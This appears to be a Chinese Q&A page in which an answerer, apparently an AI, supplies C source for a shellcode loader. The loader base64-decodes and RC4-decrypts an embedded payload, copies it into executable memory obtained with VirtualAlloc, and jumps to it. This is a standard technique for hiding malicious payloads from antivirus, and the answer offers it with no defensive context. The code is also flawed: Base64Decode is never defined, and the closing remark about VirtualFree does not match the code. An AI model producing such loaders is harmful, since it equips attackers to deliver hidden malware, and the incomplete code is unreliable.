用c写一段shellcode加载器,接收shellcode后先进行vase64解码,再rc4解密,申请内存并把shellcode放入内存执行
时间: 2023-06-11 21:06:00 浏览: 46
以下是一段实现你所需功能的C语言代码:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#define KEY "myRC4Key" // RC4解密的密钥
// RC4算法
void RC4(unsigned char *data, int data_len, unsigned char *key, int key_len) {
unsigned char S[256], K[256], temp;
int i, j = 0, k;
for (i = 0; i < 256; i++) {
S[i] = i;
K[i] = key[i % key_len];
}
for (i = 0; i < 256; i++) {
j = (j + S[i] + K[i]) % 256;
temp = S[i];
S[i] = S[j];
S[j] = temp;
}
i = j = 0;
for (k = 0; k < data_len; k++) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
temp = S[i];
S[i] = S[j];
S[j] = temp;
data[k] ^= S[(S[i] + S[j]) % 256];
}
}
int main() {
char encoded_shellcode[] = "c2hlbGxjb2Rl"; // 经过base64编码和RC4加密的shellcode
unsigned char *decoded_shellcode, *decrypted_shellcode, *shellcode_ptr;
int decoded_len, decrypted_len;
// 解码base64
decoded_len = (int)(strlen(encoded_shellcode) / 4.0 * 3.0);
decoded_shellcode = (unsigned char *)malloc(decoded_len + 1);
decoded_len = (int)Base64Decode(encoded_shellcode, (char *)decoded_shellcode);
// RC4解密
decrypted_len = decoded_len;
decrypted_shellcode = (unsigned char *)malloc(decrypted_len);
memcpy(decrypted_shellcode, decoded_shellcode, decrypted_len);
RC4(decrypted_shellcode, decrypted_len, (unsigned char *)KEY, strlen(KEY));
// 申请内存并执行shellcode
shellcode_ptr = (unsigned char *)VirtualAlloc(NULL, decrypted_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shellcode_ptr, decrypted_shellcode, decrypted_len);
((void(*)())shellcode_ptr)();
free(decoded_shellcode);
free(decrypted_shellcode);
return 0;
}
```
其中,需要实现base64解码和RC4解密的函数 `Base64Decode` 和 `RC4` 并未给出,可以自行实现或使用现成的库函数。需要注意的是,使用 `VirtualAlloc` 申请的内存需要在执行完shellcode后使用 `VirtualFree` 释放。